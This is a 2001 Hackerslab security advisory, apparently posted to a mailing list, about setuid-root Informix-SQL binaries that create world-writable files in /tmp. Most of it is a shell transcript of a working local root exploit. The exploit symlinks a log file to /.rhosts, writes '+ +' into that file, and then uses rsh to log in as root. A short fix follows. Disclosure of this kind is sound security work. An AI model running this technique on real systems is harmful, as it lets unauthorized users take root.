De: À: Objet: [ Hackerslab bug_paper ] Informix-SQL application vulnerability Date : mardi 4 septembre 2001 18:40 ============================================================================== [ Hackerslab bug_paper ] Informix-SQL application vulnerability ============================================================================== File : Informix-SQL application SYSTEM : Systems running Informix INFO : There is a vulneribility in informix-SQL application which allows local users to create any file with root privilege: PART 1 : $ id uid=500 (informix) gid=120 (informix) groups=1000(loveyou) $ umask 0000 $ cd ~informix/bin (Informix HOME Directory) $ ./onshowaudit INFORMIX-SQL Version 7.31.UC5 $ ls -al onbar_d ondblog onsmsync onsrvapd -rwsr-sr-x 1 root informix 2234104 Nov 18 1999 onbar_d -rwsr-sr-x 1 root informix 2219456 Nov 18 1999 ondblog -rwsr-sr-x 1 root informix 2284972 Apr 10 2000 onsmsync -rwsr-sr-x 1 root informix 39144 Nov 18 1999 onsrvapd $ ./onbar_d or ./ondblog or ./onsmsync $ ls -al /tmp/bar* -rw-rw---- 1 root informix 557 Aug 29 17:26 /tmp/bar_act.log -rw-rw---- 1 root informix 0 Aug 29 17:26 /tmp/bar_dbug.log PART 2: $ ./onsrvapd $ ls -al /tmp/ons* -rw-rw-rw- 1 root informix 141 Aug 29 17:38 /tmp/onsnmp.(hostname).log -rw-rw-rw- 1 informix informix 319 Aug 29 17:38 /tmp/onsrvapd.log PART 3: $ ./snmpdm $ ls -al /tmp/snmpd.log -rwxrwxrwx 1 root root 1085 Aug 29 17:43 /tmp/snmpd.log PART 4: loveyou@dogfoot$ ln -s /.rhosts /tmp/onsbmp.dogfoot.log loveyou@dogfoot$ ~informix/bin/onsrvapd & loveyou@dogfoot$ ls -al /.rhosts -rw-rw-rw- 1 root informix 141 Aug 29 18:28 /.rhosts loveyou@dogfoot$ echo "+ +" > /.rhosts loveyou@dogfoot$ rsh -l root localhost csh -i # whoami root SOLUTION : remove setuid permition, contact your vendor and get a patch. $ su - # cd ~informix/bin (Informix HOME Directory) # chmod o-s onbar_d ondblog onsmsync onsrvapd ==-------------------------------------------------------------------------------== ******** * ** ** * * ** ** * * ****** * Kim Yong-Jun * ** ** * loveyou@hackerslab.org * ** ** * [ http://www.hackerslab.org ] ******** HACKERSLAB (C) since 1999 ==-------------------------------------------------------------------------------==